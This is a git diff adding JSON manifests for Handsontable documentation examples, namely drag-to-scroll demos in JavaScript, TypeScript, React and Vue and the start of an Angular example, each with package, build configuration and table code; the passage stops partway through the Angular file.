b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__drag-to-scroll__javascript__example1.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Accessories And Menus ▸ Drag to scroll · Standard example · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nregisterAllModules();\nconst container = document.querySelector('#example1');\n// Build column headers: 'Cost Center' + 49 monthly labels (Jan 2021 … Jan 2025)\nconst months = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec'];\nconst colHeaders = ['Cost Center'];\nlet year = 2021;\nlet monthIndex = 0;\nwhile (colHeaders.length < 50) {\n colHeaders.push(`${months[monthIndex]} ${year}`);\n monthIndex += 1;\n if (monthIndex >= months.length) {\n monthIndex = 0;\n year += 1;\n }\n}\n// Build 50 rows of budget data\nconst data = [];\nfor (let row = 0; row < 50; row++) {\n const rowData = [`CC-${1000 + row}`];\n for (let col = 0; col < 49; col++) {\n rowData.push(2000 + row * 100 + col * 50);\n }\n data.push(rowData);\n}\nnew Handsontable(container, {\n data,\n colHeaders,\n width: 500,\n height: 220,\n rowHeaders: true,\n dragToScroll: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/accessories-and-menus/drag-to-scroll/javascript/example1.js","breadcrumb":["Accessories And Menus","Drag to scroll"],"guide":"guides/accessories-and-menus/drag-to-scroll/drag-to-scroll.md","guideTitle":"Drag to scroll","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/drag-to-scroll","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__drag-to-scroll__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__drag-to-scroll__javascript__example1.ts.json new file mode 100644 index 00000000..7169ec9f --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__drag-to-scroll__javascript__example1.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Accessories And Menus ▸ Drag to scroll · Standard example · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\nregisterAllModules();\n\nconst container = document.querySelector('#example1') as HTMLElement;\n\n// Build column headers: 'Cost Center' + 49 monthly labels (Jan 2021 … Jan 2025)\nconst months = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec'];\nconst colHeaders: string[] = ['Cost Center'];\nlet year = 2021;\nlet monthIndex = 0;\n\nwhile (colHeaders.length < 50) {\n colHeaders.push(`${months[monthIndex]} ${year}`);\n monthIndex += 1;\n\n if (monthIndex >= months.length) {\n monthIndex = 0;\n year += 1;\n }\n}\n\n// Build 50 rows of budget data\nconst data: (string | number)[][] = [];\n\nfor (let row = 0; row < 50; row++) {\n const rowData: (string | number)[] = [`CC-${1000 + row}`];\n\n for (let col = 0; col < 49; col++) {\n rowData.push(2000 + row * 100 + col * 50);\n }\n\n data.push(rowData);\n}\n\nnew Handsontable(container, {\n data,\n colHeaders,\n width: 500,\n height: 220,\n rowHeaders: true,\n dragToScroll: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/accessories-and-menus/drag-to-scroll/javascript/example1.ts","breadcrumb":["Accessories And Menus","Drag to scroll"],"guide":"guides/accessories-and-menus/drag-to-scroll/drag-to-scroll.md","guideTitle":"Drag to scroll","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/drag-to-scroll","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__drag-to-scroll__javascript__example2.js.json b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__drag-to-scroll__javascript__example2.js.json new file mode 100644 index 00000000..7b43c0f4 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__drag-to-scroll__javascript__example2.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Accessories And Menus ▸ Drag to scroll · Configure scroll speed · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nregisterAllModules();\n// Build column headers: 'Cost Center' + 49 monthly labels (Jan 2021 … Jan 2025)\nconst months = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec'];\nconst colHeaders = ['Cost Center'];\nlet year = 2021;\nlet monthIndex = 0;\nwhile (colHeaders.length < 50) {\n colHeaders.push(`${months[monthIndex]} ${year}`);\n monthIndex += 1;\n if (monthIndex >= months.length) {\n monthIndex = 0;\n year += 1;\n }\n}\n// Build 50 rows of budget data\nconst data = [];\nfor (let row = 0; row < 50; row++) {\n const rowData = [`CC-${1000 + row}`];\n for (let col = 0; col < 49; col++) {\n rowData.push(2000 + row * 100 + col * 50);\n }\n data.push(rowData);\n}\n// Root layout\nconst root = document.querySelector('#example2');\nroot.innerHTML = `\n
    \n
    \n`;\nfunction addSlider(label, unit, min, max, step, initialValue, onChange) {\n const wrapper = document.createElement('label');\n wrapper.style.cssText = 'display:flex;flex-direction:column;gap:4px;';\n const nameLabel = document.createElement('b');\n nameLabel.style.fontFamily = 'monospace';\n nameLabel.textContent = `${label}: ${initialValue} ${unit}`;\n const input = document.createElement('input');\n input.type = 'range';\n input.min = String(min);\n input.max = String(max);\n input.step = String(step);\n input.value = String(initialValue);\n input.style.cssText = 'width:200px;cursor:pointer;';\n input.addEventListener('input', () => {\n nameLabel.textContent = `${label}: ${input.value} ${unit}`;\n onChange(Number(input.value));\n });\n wrapper.append(nameLabel, input);\n document.getElementById('dts-sliders').appendChild(wrapper);\n}\nlet intervalMin = 20;\nlet intervalMax = 500;\nlet rampDistance = 120;\nconst hot = new Handsontable(document.getElementById('dts-hot'), {\n data,\n colHeaders,\n width: 500,\n height: 220,\n rowHeaders: true,\n dragToScroll: {\n interval: { min: intervalMin, max: intervalMax },\n rampDistance,\n },\n licenseKey: 'non-commercial-and-evaluation',\n});\nfunction sync() {\n hot.updateSettings({\n dragToScroll: {\n interval: { min: intervalMin, max: intervalMax },\n rampDistance,\n },\n });\n}\naddSlider('interval.min', 'ms', 10, 200, 10, intervalMin, (value) => {\n intervalMin = value;\n sync();\n});\naddSlider('interval.max', 'ms', 100, 1000, 50, intervalMax, (value) => {\n intervalMax = value;\n sync();\n});\naddSlider('rampDistance', 'px', 20, 300, 10, rampDistance, (value) => {\n rampDistance = value;\n sync();\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/accessories-and-menus/drag-to-scroll/javascript/example2.js","breadcrumb":["Accessories And Menus","Drag to scroll"],"guide":"guides/accessories-and-menus/drag-to-scroll/drag-to-scroll.md","guideTitle":"Drag to scroll","exampleId":"example2","exampleTitle":"Configure scroll speed","docPermalink":"/drag-to-scroll","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__drag-to-scroll__javascript__example2.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__drag-to-scroll__javascript__example2.ts.json new file mode 100644 index 00000000..2349720f --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__drag-to-scroll__javascript__example2.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Accessories And Menus ▸ Drag to scroll · Configure scroll speed · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\nregisterAllModules();\n\n// Build column headers: 'Cost Center' + 49 monthly labels (Jan 2021 … Jan 2025)\nconst months = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec'];\nconst colHeaders: string[] = ['Cost Center'];\nlet year = 2021;\nlet monthIndex = 0;\n\nwhile (colHeaders.length < 50) {\n colHeaders.push(`${months[monthIndex]} ${year}`);\n monthIndex += 1;\n\n if (monthIndex >= months.length) {\n monthIndex = 0;\n year += 1;\n }\n}\n\n// Build 50 rows of budget data\nconst data: (string | number)[][] = [];\n\nfor (let row = 0; row < 50; row++) {\n const rowData: (string | number)[] = [`CC-${1000 + row}`];\n\n for (let col = 0; col < 49; col++) {\n rowData.push(2000 + row * 100 + col * 50);\n }\n\n data.push(rowData);\n}\n\n// Root layout\nconst root = document.querySelector('#example2') as HTMLElement;\n\nroot.innerHTML = `\n
    \n
    \n`;\n\nfunction addSlider(\n label: string,\n unit: string,\n min: number,\n max: number,\n step: number,\n initialValue: number,\n onChange: (value: number) => void\n): void {\n const wrapper = document.createElement('label');\n wrapper.style.cssText = 'display:flex;flex-direction:column;gap:4px;';\n\n const nameLabel = document.createElement('b');\n nameLabel.style.fontFamily = 'monospace';\n nameLabel.textContent = `${label}: ${initialValue} ${unit}`;\n\n const input = document.createElement('input');\n input.type = 'range';\n input.min = String(min);\n input.max = String(max);\n input.step = String(step);\n input.value = String(initialValue);\n input.style.cssText = 'width:200px;cursor:pointer;';\n\n input.addEventListener('input', () => {\n nameLabel.textContent = `${label}: ${input.value} ${unit}`;\n onChange(Number(input.value));\n });\n\n wrapper.append(nameLabel, input);\n document.getElementById('dts-sliders')!.appendChild(wrapper);\n}\n\nlet intervalMin = 20;\nlet intervalMax = 500;\nlet rampDistance = 120;\n\nconst hot = new Handsontable(document.getElementById('dts-hot')!, {\n data,\n colHeaders,\n width: 500,\n height: 220,\n rowHeaders: true,\n dragToScroll: {\n interval: { min: intervalMin, max: intervalMax },\n rampDistance,\n },\n licenseKey: 'non-commercial-and-evaluation',\n});\n\nfunction sync(): void {\n hot.updateSettings({\n dragToScroll: {\n interval: { min: intervalMin, max: intervalMax },\n rampDistance,\n },\n });\n}\n\naddSlider('interval.min', 'ms', 10, 200, 10, intervalMin, (value) => {\n intervalMin = value;\n sync();\n});\n\naddSlider('interval.max', 'ms', 100, 1000, 50, intervalMax, (value) => {\n intervalMax = value;\n sync();\n});\n\naddSlider('rampDistance', 'px', 20, 300, 10, rampDistance, (value) => {\n rampDistance = value;\n sync();\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/accessories-and-menus/drag-to-scroll/javascript/example2.ts","breadcrumb":["Accessories And Menus","Drag to scroll"],"guide":"guides/accessories-and-menus/drag-to-scroll/drag-to-scroll.md","guideTitle":"Drag to scroll","exampleId":"example2","exampleTitle":"Configure scroll speed","docPermalink":"/drag-to-scroll","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__drag-to-scroll__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__drag-to-scroll__react__example1.tsx.json new file mode 100644 index 00000000..807cb842 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__drag-to-scroll__react__example1.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Accessories And Menus ▸ Drag to scroll · Standard example · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example1\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\nregisterAllModules();\n\n// Build column headers: 'Cost Center' + 49 monthly labels (Jan 2021 … Jan 2025)\nconst months = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec'];\nconst colHeaders: string[] = ['Cost Center'];\nlet year = 2021;\nlet monthIndex = 0;\n\nwhile (colHeaders.length < 50) {\n colHeaders.push(`${months[monthIndex]} ${year}`);\n monthIndex += 1;\n\n if (monthIndex >= months.length) {\n monthIndex = 0;\n year += 1;\n }\n}\n\n// Build 50 rows of budget data\nconst data: (string | number)[][] = [];\n\nfor (let row = 0; row < 50; row++) {\n const rowData: (string | number)[] = [`CC-${1000 + row}`];\n\n for (let col = 0; col < 49; col++) {\n rowData.push(2000 + row * 100 + col * 50);\n }\n\n data.push(rowData);\n}\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/accessories-and-menus/drag-to-scroll/react/example1.tsx","breadcrumb":["Accessories And Menus","Drag to scroll"],"guide":"guides/accessories-and-menus/drag-to-scroll/drag-to-scroll.md","guideTitle":"Drag to scroll","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/drag-to-scroll","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__drag-to-scroll__react__example2.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__drag-to-scroll__react__example2.tsx.json new file mode 100644 index 00000000..ed8cdba1 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__drag-to-scroll__react__example2.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Accessories And Menus ▸ Drag to scroll · Configure scroll speed · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example2\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { useState } from 'react';\nimport { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\nregisterAllModules();\n\n// Build column headers: 'Cost Center' + 49 monthly labels (Jan 2021 … Jan 2025)\nconst months = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec'];\nconst colHeaders: string[] = ['Cost Center'];\nlet year = 2021;\nlet monthIndex = 0;\n\nwhile (colHeaders.length < 50) {\n colHeaders.push(`${months[monthIndex]} ${year}`);\n monthIndex += 1;\n\n if (monthIndex >= months.length) {\n monthIndex = 0;\n year += 1;\n }\n}\n\n// Build 50 rows of budget data\nconst data: (string | number)[][] = [];\n\nfor (let row = 0; row < 50; row++) {\n const rowData: (string | number)[] = [`CC-${1000 + row}`];\n\n for (let col = 0; col < 49; col++) {\n rowData.push(2000 + row * 100 + col * 50);\n }\n\n data.push(rowData);\n}\n\nfunction Slider({ label, unit, min, max, step, value, onChange }: {\n label: string; unit: string; min: number; max: number; step: number;\n value: number; onChange: (value: number) => void;\n}) {\n return (\n \n );\n}\n\nconst ExampleComponent = () => {\n const [intervalMin, setIntervalMin] = useState(20);\n const [intervalMax, setIntervalMax] = useState(500);\n const [rampDistance, setRampDistance] = useState(120);\n\n return (\n
    \n
    \n \n \n \n
    \n \n
    \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/accessories-and-menus/drag-to-scroll/react/example2.tsx","breadcrumb":["Accessories And Menus","Drag to scroll"],"guide":"guides/accessories-and-menus/drag-to-scroll/drag-to-scroll.md","guideTitle":"Drag to scroll","exampleId":"example2","exampleTitle":"Configure scroll speed","docPermalink":"/drag-to-scroll","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__drag-to-scroll__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__drag-to-scroll__vue__example1.vue.json new file mode 100644 index 00000000..18b217b7 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__drag-to-scroll__vue__example1.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Accessories And Menus ▸ Drag to scroll · Standard example · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example1\");","/src/App.vue":"\n\n"},"docsPath":"guides/accessories-and-menus/drag-to-scroll/vue/example1.vue","breadcrumb":["Accessories And Menus","Drag to scroll"],"guide":"guides/accessories-and-menus/drag-to-scroll/drag-to-scroll.md","guideTitle":"Drag to scroll","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/drag-to-scroll","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__drag-to-scroll__vue__example2.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__drag-to-scroll__vue__example2.vue.json new file mode 100644 index 00000000..e48cd981 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__drag-to-scroll__vue__example2.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Accessories And Menus ▸ Drag to scroll · Configure scroll speed · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example2\");","/src/App.vue":"\n\n"},"docsPath":"guides/accessories-and-menus/drag-to-scroll/vue/example2.vue","breadcrumb":["Accessories And Menus","Drag to scroll"],"guide":"guides/accessories-and-menus/drag-to-scroll/drag-to-scroll.md","guideTitle":"Drag to scroll","exampleId":"example2","exampleTitle":"Configure scroll speed","docPermalink":"/drag-to-scroll","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__empty-data-state__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__empty-data-state__angular__example1.ts.json new file mode 100644 index 00000000..8ff20269 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__empty-data-state__angular__example1.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Accessories And Menus ▸ Empty Data State · Standard example · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule } 